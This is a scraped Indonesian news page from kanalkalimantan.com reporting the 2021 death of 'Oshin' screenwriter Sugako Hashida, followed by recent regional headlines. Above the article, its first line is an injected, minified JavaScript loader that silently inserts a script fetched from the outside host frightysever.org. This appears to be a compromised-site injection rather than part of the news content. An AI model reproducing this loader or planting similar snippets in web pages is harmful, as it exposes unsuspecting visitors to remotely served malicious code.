(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Film

Sugako Hashida, Penulis Legendaris Drama Jepang ‘Oshin’ Wafat


KANALKALIMANTAN.COM – Bagi anak-anak 80-an pasti tahu drama legendaris Jepang ‘Oshin’. Ada kabar mengejutkan datang dari negeri Sakura. Sugako Hashida, penulis sekenario drama itu meninggal dunia, Minggu (4/4/2021).

Sugako meninggal akibat limfoma di rumahnya di Atami, prefektur Shizuoka. Serial Oshin sangat terkenal di Indonesia dan dunia pada tahun 80-an.

Drama ini mengisahkan hidup seorang perempuan yang lahir di desa miskin dan menjadi pebisnis supermarket sukses. Oshin adalah anak yang lahir di keluarga petani miskin Yamagata.

Demi memenuhi kebutuhan keluarga, dia ditukar dengan sekarung beras untuk menjadi pembantu. Meski mengalami berbagai cobaan, Oshin gigih berjuang sejak zaman peralihan masa perang era Meiji ke era Showa.

 

Baca juga: Spesialis Pencuri Spare Part Alat Berat Digulung Polresta Palangkaraya

Serial yang terdiri atas 297 episode dengan durasi masing-masing episode 15 menit itu dianggap sebagai salah satu drama televisi Jepang terbaik dengan rating mencapai 62,9 persen.

Hashida, bernama asli Sugako Iwasaki, lahir di Seoul. Dia menjadi penulis naskah drama setelah bergabung dengan Shochiku Co. Dia menerima Order of Culture pada 2020 dari pemerintah Jepang atas kontribusi dan pencapaian budaya.

Beberapa tahun lalu, Hashida mengundang kontroversi dengan menerbitkan buku pada 2017 yang mengungkapkan keinginannya menutup usia dengan euthanasia yang tidak legal di Jepang.

“Mati adalah pekerjaan terakhir bagi manusia. Saya ingin memutuskannya sendiri,” kata dia dalam wawancara.

Dilansir Kyodo, Hashida didukung oleh para ibu rumah tangga karena menggambarkan keluarga dengan gaya dry humor khasnya.

Di serial drama “Wataru Seken wa Oni Bakari” yang tayang pada 1990, dia menggambarkan masalah lazim di rumah tangga Jepang, seperti ketegangan antara ibu rumah tangga dan ibu mertuanya.

Tema perempuan yang berjuang melindungi keluarga juga dimasukkan ke dalam drama sejarah. Di “Onna Taikoki”, tayang pada 1981, dia meminjam sudut pandang perempuan untuk menggambarkan periode Sengoku.

Periode itu merupakan periode perang saudara dan pergolakan sosial pada abad 15 dan 16, fokus terhadap kehidupan Nene, istri Toyotomi Hideyoshi, salah satu dari panglima perang paling terkemuka pada masa itu. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

1 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

9 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

11 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

11 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

11 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

12 jam ago

This website uses cookies.